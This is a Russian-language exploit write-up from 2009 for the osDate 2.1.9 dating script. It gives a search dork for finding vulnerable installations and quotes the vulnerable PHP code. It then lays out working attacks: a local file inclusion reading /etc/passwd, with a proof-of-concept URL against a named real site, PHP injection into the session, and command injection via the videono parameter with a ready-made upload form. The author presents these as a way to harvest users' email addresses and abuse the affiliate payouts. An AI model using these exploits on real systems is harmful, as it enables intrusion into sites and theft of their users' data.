Уязвимости osDate(Open Source Dating System) 2.1.9
download: http://www.tufat.com/files_lgpl/script_39.zip
dork: "Powered by osDate"
Думаю, если кто-нибудь занимается датингом, наверняка ему пригодится нижеизложенный обзор уязвимостей, т.к. в БД уязвимых сайтов хранятся адреса почтовых аккуантов пользователей... А также встроенная партнерская программа, зачисляющая на счет денежку, за привлеченных пользователей...
1)[LFI]
/init.php
уязвимый код:
PHP код:
if ($_REQUEST['lang']!= '') {$opt_lang=$_REQUEST['lang'];}
elseif ($_SESSION['opt_lang'] != '') {$opt_lang=str_replace("'",'',$_SESSION['opt_lang']);}
elseif ($_COOKIE[$config['cookie_prefix'].'opt_lang'] != '') {$opt_lang=$_COOKIE[$config['cookie_prefix'].'opt_lang'];}
elseif ($_SESSION['AdminId'] > 0) { $opt_lang = $config['admin_lang']; }
else {$opt_lang=DEFAULT_LANG; }
// hack - fix later //правильно-правильно, фиксируйте позже :DDD
if ( strlen( $opt_lang ) <= 3 ) {
$opt_lang = DEFAULT_LANG;
}
/--/
include('language/lang_'.$opt_lang.'/profile_questions.php');
эксплуатирование:
Код:
init.php?lang=english/../../../../../../../../../../etc/passwd%00
POC:
Код:
http://findmaturepartner.com/init.php?lang=english/../../../../../../../../../../etc/passwd%00
2) [Определение сессии]
Чтобы было что инклудить...
уязвимый код:
/onlineusers.php
PHP код:
if ( !defined( 'SMARTY_DIR' ) ) {
include_once( 'init.php' );
}
/--/
$psize = getPageSize();
/includes/internal/Functions.php
PHP код:
function getPageSize () {
if ( isset( $_REQUEST['results_per_page'] ) && $_REQUEST['results_per_page'] ) {
$psize = $_REQUEST['results_per_page'];
$GLOBALS['config']['search_results_per_page'] = $_REQUEST['results_per_page'] ;
$_SESSION['ResultsPerPage'] = $_REQUEST['results_per_page'];
эксплуатирование:
Код:
onlineusers.php?results_per_page=<?php phpinfo(); ?>
раскрытие пути:
phpinfo.php находящийся в корневой директории
3) [Code execution]
уязвимый код:
/savevideo.php
PHP код:
//вот эта переменная будет отвечать за код, который будет у нас исполняться
$videono = $_REQUEST['videono'];
//здесь идет сравнение переменной с единицой, иначе переменной присвоится другое значение, нам этого не надо и чтобы обойти это, читаем статью Электа,
//"Важно только то, чтобы первым символом в строке было число - именно с ним произойдет сравнение."
if ($videono == '' or $videono < 1 or !isset($videono) or $videono == null) $videono= $osDB->getOne('select max(videono)+1 from ! where userid = ?',array(USER_VIDEOS_TABLE,$userid) );
/--/
if( is_uploaded_file( $_FILES['txtimage']['tmp_name'] ) ) {
$img_file = $_FILES['txtimage']['tmp_name'];
$fname = $_FILES['txtimage']['name'];
clearstatcache();
/* Create video file name */
if (substr_count($fname,'.flv') > 0 || substr_count($fname,'.swf') > 0 ) { //также для эксплуатации уязвимости, отправляемый файл не должен содержать в своем имени .flv
/--/
} else {
$video_filename = $userinfo['username'].'_V'.$videono.'_'.time().'.flv';
include ('mpeg2flv/mpeg2flv.php');
$rtn = convert2flv($img_file, USER_VIDEO_DIR.$video_filename); //вызов злополучной функции
/mpeg2flv/mpeg2flv.php
PHP код:
function convert2flv($fromfile, $tofile) {
$this_dir = dirname(__FILE__) . '/';
$ffmpeg_format="";
if(strstr($_SERVER['SERVER_SOFTWARE'],"Win32") or strstr($_SERVER['OS'],'Window')) {
$ffmpeg_format = $this_dir."ffmpeg.exe -y -i %s %s";
} else {
$ffmpeg_format = "LD_LIBRARY_PATH=. ./ffmpeg -y -i %s %s > /dev/null 2>&1";
}
$ffmpeg_command = sprintf($ffmpeg_format, $fromfile, $tofile); //формируется команда...
if (system($ffmpeg_command, $ret_value) === FALSE || $ret_value != 0) { // а вот и исполнение нашего кода...
// ffmpeg was failed
return FALSE;
} elseif (!is_file($tofile)) { return FALSE; }
return TRUE;
}
эксплуатирование(работает только в Linux):
Для эксплуатации уязвимости, необходимо чтобы была определена
$_SESSION['UserId'], а проще говоря, нужно быть залогиненным...
Отравляем файл(!=
*.flv*) скрипту и переменную
$videono начинающююся с цифры
=>1, используя
; отсекаем место под нашу команду...
Набросал быстренько формочку, для удобства...
PHP код:
<form action="http://site.com/savevideo.php" method="post" enctype="multipart/form-data">
<input type="file" name="txtimage"><br>
<input type="text" name="videono" value="2; id; ">
<input type="submit" value="Execute"><br>
</form>
(c) Iceangel_ 2009